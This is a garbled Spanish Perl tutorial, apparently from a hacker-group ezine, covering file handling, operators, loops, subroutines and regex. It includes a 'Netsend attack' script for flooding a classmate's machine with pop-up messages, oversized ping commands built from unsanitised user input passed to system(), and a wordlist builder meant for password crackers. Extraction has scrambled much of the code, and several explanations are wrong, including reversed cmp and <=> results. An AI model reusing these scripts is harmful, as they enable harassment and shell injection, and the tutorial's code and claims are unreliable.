- Hay otra forma de cambiar, de directorio con chroot se diferencia de chdir en que una vez cambiado de directorio no podemos movernos de este, chroot funciona de la misma manera: Ejemplo: #!/usr/bin/perl $raiz= "/"; $directorio= chdir $raiz; print "$directorio\n"; SALIDA: 1

. ====================================================================== ====. |=======~ 6.5.2 GESTIONAR DIRECTORIOS ~===================================== | ====================================================================== ===== - Ver el direcorio en que nos encontramos -

Usaremos el modulo Cwd que viene el la biblioteca estandar de perl, podeis adelantaros un poco y mirar el capitulo 24.0 en el que explica que es un modulo, y como se usa, es poco no os preocupeis:

Ejemplo: #!/usr/bin/perl use Cwd; #Usamos el modulo print getcwd(), "\n"; #devuelve el directorio en que estoy SALIDA: [root@localhost articulo]# perl getcwd.pl /home/ddiego/programacion/perl/articulo

- Crear directios usaremos Ejemplo:

mkdir directorio permisos:

#!/usr/bin/perl print "que directorio creamos: "; $directorio=<STDIN>; mkdir $directorio, 755; #permisos

- Borrar directorios: Ejemplo: #!/usr/bin/perl print "que directorio borramos: "; $directorio=<STDIN>; rmdir $directorio;

. ====================================================================== ====. |=======~ 7.0.0 OPERADORES ~================================================ | ====================================================================== ===== + * / Suma Resta Multiplicacion Division

% Modulacion & AND, a nivel de bits | OR, a nivel de bits && AND, y logico || OR logico , Separador de comas .. Operadore de rango de lista ** Exponenciacion (el valor de la izq se eleva a la potencia de la derecha) =~ Coincidencia de patrones (comprueba si los elementos son verdaderos) ~ Coincidencia de patrones (comprueba si los elementos son falsos) << >> Operadores de esplazamiento ?and: Operador condicional "juntos" ++ Autoincremento -- Autodecremento

- OPERADORES DE COMPARACION DE CADENAS gt lt eq le ge ne cmp Mayor que Menor que Igual a Menor o igual que Mayor o igual que Distinto a Retorno de comparacion ejemplo:

$abecedario= "a" cmp "d" Como resultado es 1 porque d es mayor que a $abecedario= "d" cmp "a" Como resultado es -1 porque d es mayor que a $abecedario= "d" cmp "d" Como resultado es 0 porque d es igual que d

- OPERADORES DE COMPARACION NUMERICOS > < == <= >= != <=> Mayor que Menor que Igual a " comparando es distinto a = que es asignacion " Menor o igual a Mayor o igual a Distinto a Retorno de comparacion, veremos un ej:

$numero <=> 50 : - A 0 si $numero y 5 son iguales - A 1 si $numero es menor que 50 - A -1 sin $numero es mayor que 50

- Secuencias de escape - Veremos que todas tienen una barra invertida \, y segun el caracter que tenga detras ejecutara una accion.

\a Pitido \b Retroceso \e Escape \E Acaba con \Q, \L y \U \f Salto de pagina \l El siguiente caracter estara en minuscula \L Todos los siguientes caracteres estaran en mayusculas \n Linea nueva \Q Introduce una barra inversa en trosos los caracteres siguientes no alfanumericos \r Retorno de carro \t Tabulador \u El siguiente caracter estara en mayuscula \U Todos los siguientes caracteres estaran en mayuscula \v Tabulador vertical \007 Caracter de timbre en octal \x07 Caracter de timbre en hexadecimal \cC Ctrl+C

* Si ponemos un Ejemplo: #!/usr/bin/perl print "hola\n\a"; * Al final de imprimir la cadena hola sonara un pitido

- Operador coma - Si asignasemos en una cadena por Ejemplo: #!/usr/bin/perl $miembros = ("DDiego,W3ndig0,S-P-A-R-K"); #$miembros toma que el valor ej varios valores de esta manera:

#este mas a la derecha print "$miembros\n"; #imprimira en pantalla S-P-A-R-K

SALIDA: [root@localhost articulo]# perl coma.pl S-P-A-R-K * En vez de una coma se puede usar tambien el operador =>

- Jugando con los operadores de desplazamiento << -

- A veces quieres meter mucho texto y usar las comillas y print a cada poco da brasa, por eso podemos usar algun truquillo, y tendremos que usar el operador <<. Ejemplo: #!/usr/bin/perl print <<'final'; #la sintaxis es: print <<'nombrequequieras'; hola che hola man hola jarto final #aqui llega el final, si lees code giri EOF suele ser la #marca que usan

SALIDA: [root@localhost articulo]# perl <<.pl hola che hola man hola jarto - Se puede monstrar la cadena tantas veces como quieras: Ejemplo: #!/usr/bin/perl print <<'EOF' x 10; hola che EOF SALIDA: [root@localhost articulo]$ perl repite.pl hola che hola che hola che hola che hola che hola che hola che hola che hola che hola che #dices que la repita 10 veces

. ====================================================================== ====.

|=======~ 8.0.0 LLAMADAS AL SISTEMA ~======================================= | ====================================================================== ===== - 1 veremos system, nos ayudara a usar otros programas de manera facil, y luego exec ya veremos las diferencia de cada uno: Ejemplo: #!/usr/bin/perl system("dir"); * La salida sera la lista de directorios. - Si queremos que la salida la redireccione a un archivo pondremos: Ejemplo: #!/usr/bin/perl system("dir > archivo.txt"); - Luego esta exec, que sirve para lo mismo pero se diferencia en que en system que al ejecutar esa orden no se sale del programa pero con exec si,con exec se sale de el script de perl para ejecutar el programa que hayas mandado, vamos a ver como es esto: Ejemplo: #!/usr/bin/perl system("dir"); print "hola\n"; SALIDA: [root@localhost articulo]# perl system.pl ddiego.txt diego.pl prueba system.pl hola * Vemos como sigue sin problemas a la siguiente instruccion

- umm vamos a hacer un pequeo programeta para enviar unos cuantos pings: Ejemplo:

#!/usr/bin/perl print "Cual es la ip ?? "; $ip= <STDIN>; print "Ping to $ip\n"; system("ping -s 65500 $ip"); * Y si fuera Ejemplo: #!/usr/bin/perl print "Cual es la ip ?? "; $ip= <STDIN>; print "Ping to $ip\n"; system("ping -t -l 65500 $ip"); en win:

- Ahora

veremos con exec:

Ejemplo: #!/usr/bin/perl exec("dir"); print "hola\n"; SALIDA: [root@localhost articulo]# perl exec.pl ddiego.txt diego.pl prueba exec.pl * Como vemos no imprime hola porque se salio del nuestro programa, para ejecutar dir.

- Tambien hay mas formas de usar system, la salida seria la misma: Ejemplo: #!/usr/bin/perl system ("ls","/"); SALIDA: [root@localhost fork]# perl system.pl bin boot dev etc home lib mnt opt usr var proc root sbin tmp

- Limpiar pantalla * Para ello usaremos system y clear, de esta forma: Ejemplo:

#!/usr/bin/perl system ("clear");

- Dios como meto la salida de system en una variable * La respuesta en sencilla sin system :D, veamos como: Ejemplo: #!/usr/bin/perl $salida= `dir /`; print "$salida\n"; SALIDA: [root@localhost arti]# perl sinsystem.pl bin boot dev etc home lib mnt opt usr var proc root sbin tmp

. ====================================================================== ====. |=======~ 9.0.0 BUCLES ~=================================================== | ====================================================================== ===== - Cuando queremos que una determinada sentencia se produzca varias veces, o que segun que condiciones el programa realize una accion u otra, es cuando el programador echa mano del bucle.

. ====================================================================== ====. |=======~ 9.1.0 BUCLE WHILE ~=============================================== | ====================================================================== ===== - Para este se usa la sentencia "while", y el accion mientras siga existiendo una condicion programa ejecutara una

SINTAXIS: while (condicion) { (ejecucion de una accion) }

Ejemplo: #!/usr/bin/perl $numero=1; while ($numero<=10) { print "hola\n\a"; $numero++; } SALIDA: [root@localhost articulo]# perl while.pl hola hola hola hola hola hola hola hola hola hola

#Mientras $numero sea menor o igual que 10 #Imprimir esta cadena #Inrementa 1 cada vez que se repite

- Podemos hacer que se incremente de 2 en 2, de 3 en 3 o como queramos:

Ejemplo: #!/usr/bin/perl $numero=1; while ($numero<=10) { print "hola\n\a"; $numero=$numero+2; forma }

#Mientras $numero sea menor o igual que 10 #Imprimir esta cadena #Incrementa 2 cada vez que se repite #seria $numero+=2; otra

SALIDA: [root@localhost articulo]# perl masincremento.pl hola

hola hola hola hola

- Si no sigue la condicion o si la condicion es falsa podemos usar until,por ejemplo en el programa anterior: Ejemplo: #!/usr/bin/perl $numero=11; while ($numero<=10) #Mientras $numero sea menor o igual que 10 { print "hola\n"; #Imprimir esta cadena $numero++; #Inrementa 1 cada vez que se repite } until($numero>10) { print "adios\n"; }

- Vamos a bloque de codigo Ejemplo:

ver la

instruccion

do que hace que

se

ejecute

un

#!/usr/bin/perl $numero=11; while ($numero<=10) #Mientras $numero sea menor o igual que 10 { do { print "hola\n"; #Imprimir esta cadena $numero++; #Inrementa 1 cada vez que se repite } } until($numero>10) { print "adios\n"; }

- Es frecuente encontrar continue para continuar el bucle Ejemplo: #!/usr/bin/perl $numero=1; while ($numero<=10)#Mientras $numero sea menor o igual que 10 { print "hola\n\a"; #Imprimir esta cadena

$numero=$numero+2;#Incrementa 2 cada vez que se repite forma #seria $numero+=2; } continue { print "continua $numero\n"; }

otra

. ====================================================================== ====. |=======~ 9.2.0 BUCLE FOR ~================================================= | ====================================================================== ===== - Con "for" podemos establecer la variable y hacer todo lo anterior de forma seguida: SINTAXIS: for (valor de variable; condicion; expresion de control) Ejemplo: #!/usr/bin/perl for ($numero=1;$numero<=10;$numero++) { print "hola\n\a"; } - Algo mas dificil, varias variables, condiciones y expresiones de control: for (valor de variable, valor de variable;condicion, condicion; expresion de control, expresion de control) Ejemplo: #!/usr/bin/perl for ($numero1=1,$numero2=10;$numero1<=10,$numero2<=20;$numero1++, $numero2++) { print "$numero1\n"; print "$numero2\n"; } SALIDA:

1 10 2 11 3 12 4 13 5 14 6 15 7 16 8 17 9 18 10 19 11 20

- NEXT - Si por ejemplo queremos saltarnos una parte del bucle usaremos next: Ejemplo: #!/usr/bin/perl for ($numero=1;$numero<=10;$numero++) { if ($numero==5) #Cuando llegue a 5 { next; #pasar al siguiente } print "$numero\n"; } SALIDA: [root@localhost articulo]# perl next.pl 1 2 3 4 6 7 8 9 10

- LAST * Con last hace que el bucle finalice llegando al final: Ejemplo: #!/usr/bin/perl for ($numero=1;$numero<=10;$numero++) { if ($numero==5) #Cuando llegue a 5 { last; #acabar con el bucle } print "$numero\n"; } SALIDA: [root@localhost articulo]# perl last.pl 1 2 3 4

- REDO * Con redo vuelve a iniciar el bucle Ejemplo: #!/usr/bin/perl for ($numero=1;$numero<=10;$numero++) { if ($numero==5) #Cuando llegue a 5 { redo; #vuelve a iniciar con el bucle } print "$numero\n"; }

Un bucle infinito -

* Vamos a usar for para realizar un bucle infinito: Ejemplo: #!/usr/bin/perl for(;;) { print "hola\n"; }

. ====================================================================== ====. |=======~ 9.2.1 JUGANDO CON NET SEND ~====================================== | ====================================================================== ===== - El otro dia en clase usando "net send" para enviar mensajes emergentes, un compaero no paraba de enviarme muchos mensajes seguidos tocando los huevos, y se me paso por la cabeza una maldad, para enviarle yo tambien unos pocos mensajes, vamos a crear un pequeo programa que automatice el envio, vamos a ver como se hace y que facil es: <++> nsattack.pl #!usr/bin/perl print "-----------------------------------\n"; print " Netsend attack by DDiego \n"; print " VERSION BETA \n"; print " D I S I D E N T S \n"; print " L O S F U E R A D E L A L E Y \n"; print "-----------------------------------\n"; print "Para salir del programa presione ALT+C\n"; print "Cuantos mensajes enviamos hoy ;)?? "; $numero = <STDIN>; print "Introduce 'nombre de equipo o host': "; $equipo = <STDIN>; print "Introduce el mensaje caliente: "; $mensaje = <STDIN>; for($a=1;$a<=$numero;$a++) { system ("net send $equipo $mensaje"); } print "Que divertido solo $numero enviados\n"; print " ----------------------------------------- \n"; print " MAIL: ddiegodisid\@yahoo.es \n"; print " MAIL TEAM: disidents\@yahoo.es \n"; print " WEB TEAM : http://disidents.int-ltd.com \n"; print " ----------------------------------------- \n"; # Saludos a todo el team Spark, W3ndig0, rootzero, Rah3,^jan, X4B1, # Vanmore y a todo disidents, tambien a Genl0g etc etc etc etc <--> - Veamos, el programa es muy sencillo, solo se trata de repetir cierto numero de veces esto en la consola: net send "nombre de equipo o ip" mensaje

print "Para salir del programa presione ALT+C\n"; print "Cuantos mensajes enviamos hoy ;)?? "; $numero = <STDIN>; #Aqui introduces el numero de mensajes a enviar y #pueden ser muchos ;) print "Introduce 'nombre de equipo o ip': "; #Aqui pide el nombre de equipo #o ip $equipo = <STDIN>; equipo print "Introduce el mensaje caliente: "; $mensaje = <STDIN>; hayas teclado for($a=1;$a<=$numero;$a++) $a sea { system ("net send $equipo $mensaje"); } print "Que despedida #Recoge el nombre de #Pide el mensaje #Recoge el mensaje que #introducido en el #Para $a=1 y hasta que #menor = que el numero #introducido #Repetira $mensaje "el #mensaje que has metido

divertido solo $numero enviados\n"; #Un pequeo mensaje #al final de

- Bueno este programa es un poco para que veais se pueden automatizar muchas aplicaciones con los bucles, no lo useis mucho que caeria de pesao.

. ====================================================================== ====. |=======~ 9.3.0 CONDICION CON IF ~========================================== | ====================================================================== ===== - Este se usara,para que si se cumple una condicion se ejecute una sentencia ,veamos como funciona: SINTAXIS: if (condicion) { } (sentencia o accion)

* Luego si no se cumple esa condicion que ha impuesto, la sentencia if usara la sentencia else: SINTAXIS: else { } Ejemplo: #!/usr/bin/perl $numero=1; print("Introduce un numero: "); $introduce = <STDIN>; if ($introduce==$numero)#compara el numero introducido $introduce con { #$numero print "Has acertado el numero \n"; } else { print "Has perdido el numero era el $numero\n"; } (sentencia o accion)

SALIDA: [root@localhost articulo]# perl ifelse.pl Introduce un numero: 3 Has perdido el numero era el 1

* Otra

forma de poner esta expresion es:

Ejemplo: #!/usr/bin/perl $numero=1; print("Introduce un numero: "); $introduce = <STDIN>; print "Has acertado el numero \n" if ($introduce==$numero);

- Tambien existe la sentencia elsif, que esta situada despues de if, y sirve para ejecutar una condicion, si se ha comprobado que la sentencia if es falsa:

Ejemplo: #!/usr/bin/perl print("Introduce un numero: "); $introduce = <STDIN>; if (($introduce>=0) && ($introduce <= 10)) { print "Has introducido un numero entre 10 y 0\n"; } elsif (($introduce > 10) && ($introduce <=20)) #si el numero que #introducido es #10 y menor igual

has

mayor que { que 20 } { las va a sentencia } SALIDA: [root@localhost articulo]# perl adivina.pl Introduce un numero: 10 Has introducido un numero entre 10 y 0 [root@localhost articulo]# perl adivina.pl Introduce un numero: 11 Has introducido un numero entre 20 y 10 [root@localhost articulo]# perl adivina.pl Introduce un numero: 20 Has introducido un numero entre 20 y 10 [root@localhost articulo]# perl adivina.pl Introduce un numero: 21 Has introducido un numero mayor de 20

print " Has introducido un numero entre 20 y 10\n"; else print "Has introducido un numero mayor de 20\n"; #Si no se cumplen #demas sentencias #else, esta #es la final

. ====================================================================== ====. |=======~ 9.3.1 CONDICION ?: ~============================================== | ====================================================================== =====

- Veamos otro tipo de condiciones,que quizas encontreis en algun programa es usando el operador ?: Ejemplo: #!/usr/bin/perl $true="Soy de Disidents"; #valor verdadero $false="No soy de Disidents"; #falso print "Eres de Disidents? "; chop ($respuesta=()); #quitamos el enter $final = ($respuesta eq "si") ? $true : $false; print "$final\n"; SALIDA: [root@localhost articulo]# perl condicion.pl Eres de Disidents? si Soy de Disidents [root@localhost articulo]# perl condicion.pl Eres de Disidents? n No soy de Disidents

. ====================================================================== ====. |=======~ 9.4.0 FOREACH ~=================================================== | ====================================================================== ===== - Si queremos usaremos foreach: Ejemplo: #!/usr/bin/perl @nombres = ("Pepe", "Juan", "Francisco"); print "En el equipo estan: \n"; foreach $equipo (@nombres) { print $equipo, "\n"; } que repita el n de elementos de un array o arreglo

SALIDA:

[root@localhost articulo]# perl foreach.pl En el equipo estan: Pepe Juan Francisco - Si queremos que nos lo ordene usaremos sort Ejemplo: #!/usr/bin/perl @nombres = (Pepe, Juan, Francisco); print "En el equipo estan: \n"; foreach $equipo (sort @nombres) { print "$equipo \n"; } SALIDA: [root@localhost articulo]# perl ordenado.pl En el equipo estan: Francisco Juan Pepe

* Aunque sort se puede usar directamente en el array: Ejemplo: #!/usr/bin/perl @nombres = (Pepe, Juan, Francisco); @nombres= sort @nombres ; print "En el equipo estan: @nombres \n"; SALIDA: [root@localhost articulo]# perl sort2.pl En el equipo estan: Francisco Juan Pepe - Tambien podemos hacer que aparezcan en orden invertido con reverse, de la misma manera que usamos sort: Ejemplo: #!/usr/bin/perl @nombres = (Pepe, Juan, Francisco); print "En el equipo estan: \n"; foreach $equipo (reverse @nombres) { print "$equipo \n"; } SALIDA:

[root@localhost articulo]# perl reverse1.pl En el equipo estan: Francisco Juan Pepe * Lo mismo con los arrays directamente @nombres= reverse @nombres

. ====================================================================== ====. |=======~ 10.0.0 VARIABLES ESPECIALES ~===================================== | ====================================================================== ===== - Veremos $_ mucho por perl, esta vatiable almacena la ultima linea o ultima variable introducida.

Ejemplo: #!/usr/bin/perl open(texto, "diego.txt"); #abre diego.txt while ($_=) { print; #imprime $_ } close (texto); - Tambien podemos ver las variables parte de una variable: Ejemplo: #!/usr/bin/perl $_ = "Hola que tal tienes sed"; #damos a $_ el valor de hola que $` $' y $& que pueden guardar

tal

#tienes sed /tal/; #Parte intermedia $& , osea tal print "$` \n"; # "Hola que" toma la parte que esta a la izquierda de tal print "$& \n"; # "tal" toma la parte intermedia "tal" print "$' \n"; # "tienes sed" toma la parte que esta a la derecha de tal print "$`$&$'\n"; # Hola que tal tienes sed

SALIDA: [root@localhost articulo]# perl +variables.pl Hola que tal tienes sed Hola que tal tienes sed

* Tambien podemos ver @_ en este caso es un arreglo muy especial Ejemplo: #!/usr/bin/perl sub miembros { print "disidents: @_ \n"; } &miembros ("leon01","w3n","S-P-A-R-K"); SALIDA: [root@localhost articulo]# perl arregloespecial.pl disidents: leon01 w3n S-P-A-R-K * En el caso anterior $_[0]="leon01" $_[1]="w3n" $_[2]="S-P-A-R-K"

. ====================================================================== ====. |=======~ 11.0.0 SUBRUTINAS ~=============================================== | ====================================================================== ===== - Las subrutinas son trozos de codigo que ocupan parte de un programa, y se puede llamar desde cualquier parte del programa, para que se ejecute esa parte del codigo. SINTAXIS: sub nombredesubrutina { } sentencia

* Y para llamarla y que se cumpla la sentencia se usa &nombredesubrutina

Ejemplo: #!/usr/bin/perl print "Hola\n"; sub misubrutina { @nombres = (Pepe, Juan, Francisco); print "En el equipo estan: \n"; foreach $equipo (sort @nombres) { print "$equipo \n"; } } &misubrutina; #llamamos a la subrutina print "adios\n";

SALIDA: [root@localhost articulo]# perl sub1.pl Hola En el equipo estan: Francisco Juan Pepe adios

- Vamos a ver otra forma de llamar a una subrutina, de una variable, son las llamadas "subrutinas anonimas": Ejemplo: #!/usr/bin/perl $subrutina = sub { print "hola man\n" }; &$subrutina; SALIDA: [root@localhost articulo]# perl subanonima.pl hola man

dandole el valor

- Subrutinas autoload -

- Existen un tipo de subrutinas que se ejecutan de forma automatica, cuando existe una llamada a una subrutina que no existe veamos un ejemplo: Ejemplo: #!/usr/bin/perl sub AUTOLOAD #nombramos a esta subrutina AUTOLOAD { print "hola\n"; #cuando se ejecuta esta subrutina imprimira hola } &ddiego #hacemos llamada a una subrutina que no existe, y ejecutara la #subrutina AUTOLOAD SALIDA: [root@localhost articulo]# perl autoload.pl hola

- Mas formas de llamar a una subrutina: Ejemplo: #!/usr/bin/perl print "Hola\n"; sub misubrutina { @nombres = (Pepe, Juan, Francisco); print "En el equipo estan: \n"; foreach $equipo (sort @nombres) { print "$equipo \n"; } } misubrutina(); print "adios\n"; #llamamos a la subrutina de otra forma

SALIDA: root@localhost articulo]# perl masformas.pl Hola En el equipo estan: Francisco Juan Pepe adios

- Tambien se puede usar en mas cosas: do &subrutina; require &subrutina;

. ====================================================================== ====. |=======~ 12.0.0 JUGANDO CON EL TEXTO ~===================================== | ====================================================================== ===== - ENCONTRAR PALABRAS - Para buscar texto o una palabra en un documento por ejemplo usaremos la / de esta manera: Ejemplo: #!/usr/bin/perl $texto="Hola que tal estas"; if($texto=~/que/) #si dentro de $texto hay un "que" { print "que esta en la frase\n"; #imprime en pantalla } else #si no esta { print "que no esta en la frase\n"; #imprime esto en pantalla }

SALIDA: [root@localhost articulo]# perl buscando.pl que esta en la frase * Existe otra manera Ejemplo: #!/usr/bin/perl $texto="Hola que tal estas"; if($texto=~ m/que/) #si dentro de $texto hay un "que" { print "que esta en la frase\n"; #imprime en pantalla } else #si no esta { print "que no esta en la frase\n"; #imprime esto en pantalla } SALIDA: que es usando m de match para buscar texto:

[root@localhost articulo]# perl match.pl que esta en la frase - Que queremos hacer dos busquedas, pues solo tenemos que usar un pipe | significa or, (si uno de los dos esta en el texto). Ejemplo: #!/usr/bin/perl $texto="Hola que tal estas"; if(($texto=~/que|tal/)) #si dentro de $texto hay un "que" o un "tal" { print "que o tal estan en la frase\n"; #imprime en pantalla } else #si no esta { print "que o tal no estan en la frase\n"; #imprime esto en pantalla } - Ahora queremos que busque un texto pero que no diferencie si esta en mayusculas o minusculas para ello podriamos algo asi, por ejemplo en el caso anterior: Ejemplo: if(($texto=~/que|tal/i)) #usamos el modificador /i

- Ahora vamos a contar el numero de caracteres hasta cadena, gracias a pos: Ejemplo: #!/usr/bin/perl $texto="Hola que tal estas"; $texto=~/que/g; print pos($texto),"\n";

llegar

una

* Hasta llegar a que lee 8 caracteres Hola que 4 de "Hola" + 1 de un espacio + 3 de el el "que" : SALIDA: [root@localhost articulo]# perl pos.pl

- SUSTITUIR TEXTO * Ahora supongamos que queremos sustituir una palabra o una frase: Ejemplo: #!/usr/bin/perl $texto="Hola que tal estas"; if($texto=~s/Hola que tal estas/Como te van las cosas?/) UNA s =~ { } print "$texto\n";

#SE PONE #detras de

SALIDA: [root@localhost articulo]# perl sustituye.pl Como te van las cosas? * Si usamos $_ , no necesitariamos =~ Ejemplo: #!/usr/bin/perl $_="Hola que tal estas"; s/Hola que tal estas/Como te van las cosas?/; { print "$_\n"; } - Otra forma de sustituir es usando llaves { } en vez las / quedaria asi if($texto=~s{Hola que tal estas}{Como te van las cosas?}) Ejemplo: #!/usr/bin/perl $texto="Hola que tal estas"; if($texto=~s{Hola que tal estas}{Como te van las cosas?}) { print "$texto\n"; } SALIDA: [root@localhost articulo]# perl llaves.pl

Como te van las cosas?

- Tambien es posible en vez usar / en s/Hola que tal estas/Como te van las cosas?/), usar otro caracter por ej # ^ lo que quieras, quedaria de esta manera if($texto=~s#Hola que tal estas#Como te van las cosas?#) Ejemplo: #!/usr/bin/perl $texto="Hola que tal estas"; if($texto=~s^Hola que tal estas^Como te van las cosas?^) { print "$texto\n"; } SALIDA: [root@localhost articulo]# perl masformas.pl Como te van las cosas?

- TIPOS DE CARACTERES \d \D \r \s \S \w \W digitos [0-9] no digitos retorno de carro espacio en blanco y un salto de linea \n no hay ningun espacio en blanco \t y un salto de linea \n un caracter alfanumerico incluido el simbolo _, [a-zA-Z_] no caracteres alfanumericos incluido _, [^a-zA-Z_]

Cualquier caracter de la "a" a la "z" [a-z] Cualquier caracter de la "a" a la "z" ya sea mayuscula o minuscula [a-zA-Z]

- COMO CONVERTIR UN ARRAY EN MAYUSCULAS O MINUSCULAS - Para pasarlo a mayusculas usaremos map y uc Ejemplo: #!/usr/bin/perl @frase = 'hola loco' ; @mayusculas = map uc($_), @frase;

print "@mayusculas\n"; * map hace que podamos aplicar una expresion a una lista o array en este caso uc para poner@frase en mayusculas: SALIDA [root@localhost articulo]# perl uc.pl HOLA LOCO

- Para solo poner el primer usaremos ucfirst: Ejemplo:

caracter

de

la cadena

en mayusculas

#!/usr/bin/perl @frase = 'hola loco' ; @mayusculas = map ucfirst($_), @frase; print "@mayusculas\n"; SALIDA: [root@localhost articulo]# perl ucfirst.pl Hola loco

- Para convertirlo en minusculas usaremos map y lc: Ejemplo: #!/usr/bin/perl @frase = 'HOLA LOCO' ; @minusculas = map lc($_), @frase; print "@minusculas\n"; SALIDA: [root@localhost articulo]# perl lc.pl hola loco

- Para solo usaremos lcfirst: Ejemplo:

poner

el

primer caracter de la cadena en minusculas

#!/usr/bin/perl

@frase = 'HOLA LOCO' ; @mayusculas = map lcfirst($_), @frase; print "@mayusculas\n"; SALIDA: [root@localhost articulo]# perl lcfirst.pl hOLA LOCO - CONVERTIR UN ESCALAR DE MINUSCULAS A MAYUSCULAS Ejemplo: #!/usr/bin/perl $frase = 'HOLA LOCO' ; $frase =~ tr/a-z/A-Z/; print "$frase\n"; SALIDA [root@localhost articulo]# perl CONVERTIR.pl HOLA LOCO

- AHORA DE MAYUSCULAS A MINUSCULAS Ejemplo: #!/usr/bin/perl $frase = 'HOLA LOCO' ; $frase =~ tr/A-Z/a-z/; print "$frase\n";

SALIDA [root@localhost articulo]# perl convertir.pl hola loco

- INVERTIR EL TEXTO CON REVERSE Ejemplo: #!/usr/bin/perl $cadena="hola"; $invertir = reverse $cadena; print "$invertir\n"; SALIDA: [root@localhost arti]# perl reverse.pl

aloh

- TRADUCCION CON TR o Y Ejemplo: #!/usr/bin/perl $frase = 'HOLA LOCO' ; $frase =~ tr/H/ /; #transforma la H en un espacio print "$frase\n"; SALIDA: [root@localhost arti]# perl traduce.pl OLA LOCO * Se pueden encontrar varios modificadores con tr: - Con d, hace que los caracteres que encuentre reemplazados. Ejemplo: #!/usr/bin/perl $frase = 'HOLA LOCO' ; $frase =~ tr/O/ /d; #elimina todas las O que encuentre print "$frase\n"; SALIDA: [root@localhost articulo]# perl tr-d.pl H LA L C - Tambien podemos usar y de la misma manera que tr: Ejemplo: #!/usr/bin/perl $frase = 'HOLA LOCO' ; $frase =~ y/H/ /; #transforma la H en un espacio print "$frase\n"; SALIDA: [root@localhost articulo]# perl traduce2.pl OLA LOCO sean eliminados y no

- Longitud en bytes -

*Para saber cuanto ocupa una cadena en bytes usaremos length,de esta manera: Ejemplo: #!/usr/bin/perl $longitud= length "Hola\n"; print "$longitud\n"; SALIDA: [root@localhost articulo]# perl length.pl 5 - Creando subcadenas con substr -

* Para crear una subcadena a partir de una cadena usamos substr de esta manera: substr ($cadena,ndecaracteresquehayqueleer) Ejemplo: #!/usr/bin/perl $frase= "hola me llamo ddiego \n"; print substr($frase, 2), "\n"; print substr($frase, 4,3), "\n"; SALIDA: [root@localhost articulo]# perl substr.pl la me llamo ddiego me

- BUSCAR EN EL PRINCIPIO DE UNA CADENA * Para buscar ciertos caracteres en el comienzo de una cadena usamos /^: Ejemplo: #!/usr/bin/perl $texto="Hola que tal estas"; if($texto=~/^Hola/) #si al principio de la frase esta Hola { print "Hola esta al prinicipio de la frase\n"; #imprime en pantalla } else #si no esta {

print "Hola no esta al principio en la frase\n";#imprime esto en pantalla } SALIDA: [root@localhost articulo]# perl principio.pl Hola esta al prinicipio de la frase * Si en vez Hola pusiesemos /^hola con la h en minuscula, Hola no esta al principio en la frase. saldria

- COMODINES * Usaremos un . como comodin de esta forma: Ejemplo: #!/usr/bin/perl $texto="Hola que tal estas"; if($texto=~/q.e/) #si dentro de $texto hay un "q?e" { print "que esta en la frase\n"; #imprime en pantalla } else #si no esta { print "que no esta en la frase\n"; #imprime esto en pantalla } SALIDA: [root@localhost articulo]# perl comodin.pl que no esta en la frase

- Buscando cadenas segun como sean sus caracteres - Por ejemplo, para buscar una cadena que quizas su primer caracter empiece por mayusculas o minusculas usaremos los corchetes asi por ejemplo: Ejemplo: #!/usr/bin/perl $texto="Hola mi nick es Diego"; if($texto=~/[Dd]iego/) #Busca diego o Diego { print "$texto\n"; }

- COVERTIDOR HTML -

- Un dia quieres por ejemplo pasar esta ezine a formato html, coo jodeeeeer tengo que poner pila de por cada salto de linea, mucho curro y se nos ocurre hacer un programeta en perl para que por cadaa \n lo sustituya por un , na es una paranoia usas y acababas antes na esto es un ejemplo sin mucha utilidad: Ejemplo: <++> disidhtml.pl #!/usr/bin/perl print "------------------------------------------------\n"; print "disidhtml.pl by DDiego -\n"; print "------------------------------------------------\n"; print "D I S I D E N T S -\n"; print "L O S F U E R A D E L A L E Y -\n"; print "------------------------------------------------\n"; print "[ Documento a convertir: "; $doc=<STDIN>; print "[ Nombre de doc html: "; $htmldoc=<STDIN>; open (documento, "$doc") or die "No se ha podido encontrar el documento $doc\n"; #die mata este #proceso si no #encuentra el #documento open (salida, ">$htmldoc"); foreach $lineas () { $lineas =~ s/\n/ /; #aqui se sustituye n por print salida "$lineas \n"; } close (documento); <--> SALIDA: [root@localhost html]$ perl addBR.pl -----------------------------------------------disidhtml.pl by DDiego -----------------------------------------------D I S I D E N T S L O S F U E R A D E L A L E Y -----------------------------------------------[ Documento a convertir: Perl_01.txt [ Nombre de doc html: perl.html [root@localhost html]$

* Ahora por casa salto de linea hay un

- Si quisiesemos convertir solo los archivos con extension txt usariamos : open (documento, <*.txt>) - si fueran todos <*>

- Funcion index, sirve para saber la posicion de una cadena, la sintaxis es la siguiente: index cadena, cadena a buscar, posicion de comienzo de busqueda de la cadena Ejemplo: #!/usr/bin/perl $salida=index holawestgewatg4, g, 0; #empieza a buscar la desde #el primer caracter print "$salida\n"; SALIDA: [root@localhost articulo]# perl index.pl 8 cadena g

- Funcion rindex, es igual que index pero comienza a buscar la cadena desde el final, veamos como: Ejemplo: #!/usr/bin/perl $salida=rindex (holasquetal, a); #empieza a buscar la cadena g desde el #primer caracter print "$salida\n"; SALIDA: [root@localhost articulo]# perl prueba.pl 3

. ====================================================================== ====. |=======~ 13.0.0 CREACCION DE UN CREADOR DE DICCIONARIOS ~================== | ====================================================================== ===== - Vamos a crearnos nuestro propio "creador de diccionarios", facilmente y de forma artesanal como debe de ser. Para ello usaremos open para abrir un fichero de texto y para guardarlo en otro, usaremos =~ para que los espacios que hayan los sustituya por enter \n, y ya ordenado el texto lo guardaremos y asi crearemos el diccionario. * Para reemplazar cualquier tipo de caracter se hace asi: $reemplazando=~s/caracter a reemplazar/caracter por el que quieres que sea reemplazado/g

* En el caso de un espacio por un \n seria asi $reemplazando=~s/ /\n/g veamos: Ejemplo: #!/usr/bin/perl open (documento, "archivo.txt"); #archivo de texto de donde queremos #sacar el diccionario open (diccionario, ">midiccionario.txt"); #archivo donde guardaremos #nuestro diccionario foreach $lineas () #ordena el documento { $lineas =~ s/ /\n/g; #sustituye un espacio por un enter $lineas =~ s/,/\n/g; #sustituye un espacio por una , $lineas =~ s/"/\n/g; #sustituye un espacio por unas " $lineas =~ s/-/\n/g; #sustituye un espacio por un print diccionario "$lineas \n"; #Ahora llama a diccionario y lo #imprime dentro } close (documento); #Cierra archivo.txt

* Podemos matar un pajaro de un tiro con $lineas de otra forma: $lineas =~ s/( |,|.) /\n/g; - Ponemos varias restricciones entre parentesis y la |, la /g sirver para buscar y reemplaza mas de un caracter no se queda en el primero que encuentra y s de sustituir, si pusieramos al final /gi esa i quiere decir que no tiene en cuenta si son minusculas o mayusculas.

* Bueno en unas pocas lineas casi tenemos nuestro "creador de diccionarios", para usar con cualquier crackeador.

